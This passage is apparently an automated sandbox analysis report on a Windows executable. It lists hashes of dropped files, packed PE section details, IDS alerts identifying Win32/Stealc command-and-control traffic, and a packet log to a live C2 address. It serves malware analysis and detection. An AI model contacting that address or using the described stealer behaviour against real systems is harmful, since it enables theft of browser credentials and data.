SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946389337825607
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'852'928 bytes
MD5:	986b9335041f4d6a2924fe3e2c8dd4bf
SHA1:	94b66b0b3e06861b91e1948833c4689e9cbffd38
SHA256:	65d48ea2d891d07f3ae1e701161a6e69ffb1fad24886bc4eaa2d60c802eefcea
SHA512:	285a8c52b31af4530c93ed6fe92243a87dedfd4e75bfab27827c410366b533bd4a0a8f40aa3f401a6f1dd63902d931e60f9bd729050670b1e8604550642c603a
SSDEEP:	49152:7zi4AB8V0dA0irKvbiZS3Jh60sq14tCRYOMZ:viJBZA0s2bicwq4tCRO
TLSH:	468533A22D6E1D1CED90133F1ADBC5BB7335584A4ECA0EA34503A306093676477FA9F9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC7C8B25F1Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	cce4f0f51433b920bbf35dec7d9d16f2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a0000	0x200	7c9b6cabe99af0842d3ebf779fc3d0ec	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rvsqudmv	0x4fe000	0x19f000	0x19e400	53b50e0d9bb3095af35e978942b63722	False	0.9946468816007845	data	7.9525782140447285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oszxehtj	0x69d000	0x1000	0x400	37fbcc7f73ae6dac4c284c813b012345	False	0.8134765625	data	6.325815193455565	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69e000	0x3000	0x2200	9603fb09085812ead3df1655595caf94	False	0.059283088235294115	DOS executable (COM)	0.7905443491687434	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T15:09:06.208294+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:06.501542+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:06.508426+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-24T15:09:06.787666+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:06.795250+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-24T15:09:07.904053+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:08.185893+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:13.811154+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:14.935510+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:15.551928+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:15.997001+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:17.020364+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:17.455560+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 15:09:04.991405964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:04.996946096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:04.997061968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:05.004654884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:05.010109901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:05.905399084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:05.905641079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:05.908946037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:05.914418936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.208228111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.208293915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:06.210371971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:06.216263056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.501329899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.501367092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.501542091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:06.501542091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:06.502933025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:06.508425951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.787502050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.787564039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.787636042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.787666082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:06.787673950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.787704945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.787708044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:06.787733078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:06.787739992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.787770987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:06.787781000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.787792921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:06.787812948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.787827969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:06.787848949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:06.787853956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:06.787895918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:06.789855957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:06.795249939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:07.073824883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:07.073928118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:07.091784000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:07.091842890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:07.097268105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:07.097323895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:07.097354889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:07.097383976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:07.097460032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:07.097543955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:07.097573042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:07.903821945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:07.904052973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:07.904753923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:07.910171032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.185786009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.185816050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.185830116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.185846090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.185893059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.185937881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.185983896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.186008930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.186024904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.186028004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.186041117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.186048985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.186064959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.186098099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.186763048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.186808109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.186816931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.186824083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.186844110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.186851978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.186865091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.186882019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.187530994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.187582970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.344115973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.344177008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.344212055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.344221115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.344221115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.344249010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.344316959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.344316959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.344654083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.344690084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.344716072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.344724894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.344738960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.344760895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.344780922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.344796896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.344805002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.344854116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.345402002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.345437050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.345479965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.345487118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.345505953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.345530033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.345577002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.345626116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.345632076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.345700979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.346306086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.346358061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.346365929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.346394062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.346412897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.346447945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.346447945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.346484900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.346510887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.347672939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.347747087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.347841978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.347876072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.347899914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.347929001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.347939014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.347985029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.501385927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.501400948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.501419067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.501441002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.501523972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.501539946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.501564980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.501581907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.501585007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.501601934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.501621962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.501650095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.501682043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.501697063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.501713037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.501720905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.501737118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.501753092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.502340078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.502383947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.502398014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.502430916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.502501965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.502538919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.502557039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.502573013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.502593040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.502600908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.502614021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.502616882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.502635956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.502650976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.503494024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.503509998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.503528118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.503540993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.503544092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.503560066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.503563881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.503577948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.503599882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.503616095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.504100084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.504138947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.504143000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.504158020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.504173040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.504182100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.504190922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.504196882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.504211903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.504215002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.504232883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.504250050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.505033016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.505048037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.505063057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.505086899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.505105019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.505105972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.505120993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.505139112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.505162954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.505179882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.505908012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.505923033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.505939007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.505954981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.505955935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.505970955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.505983114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.505987883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.506011963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.506032944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.506839037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.506891966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:08.506917000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:08.506932020 CEST	80	49704	185.215.113.37	192.168.2.5
